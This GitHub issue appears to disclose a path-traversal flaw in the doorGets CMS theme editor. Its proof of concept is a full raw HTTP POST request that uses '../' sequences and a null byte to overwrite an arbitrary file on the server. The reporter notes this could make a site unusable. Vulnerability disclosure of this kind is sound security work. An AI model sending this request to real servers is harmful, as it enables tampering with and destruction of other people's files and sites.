Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Modify the contents of the file at will #12

Open
H1dery opened this issue Dec 11, 2018 · 0 comments
Open

Modify the contents of the file at will #12

H1dery opened this issue Dec 11, 2018 · 0 comments

Comments

@H1dery
Copy link

H1dery commented Dec 11, 2018

Create a file under the c drive,Content is test
image
poc:
image

Modify the contents of the file in 1.txt by poc

`POST /doorGets/dg-user/?controller=theme&action=edit&name=doorgets&file=../../../../../../../../../../../../../1.txt%00 HTTP/1.1
Host: 192.168.235.239
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.235.239/doorGets/dg-user/?controller=theme&action=edit&name=doorgets&file=doorgets/css/1.txt
Content-Type: multipart/form-data; boundary=---------------------------213043527767318740686762945
Content-Length: 456
Connection: close
Cookie: PHPSESSID=hnqke81g3nt2l9jjb9v2mn9va4
Upgrade-Insecure-Requests: 1

-----------------------------213043527767318740686762945
Content-Disposition: form-data; name="theme_content_nofi"

this is payload
-----------------------------213043527767318740686762945
Content-Disposition: form-data; name="edit_theme_bootstrap_version"

paper
-----------------------------213043527767318740686762945
Content-Disposition: form-data; name="edit_theme_submit"

Save
-----------------------------213043527767318740686762945--
`

image

Of course, you can also modify the contents of any file to make the web unusable.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant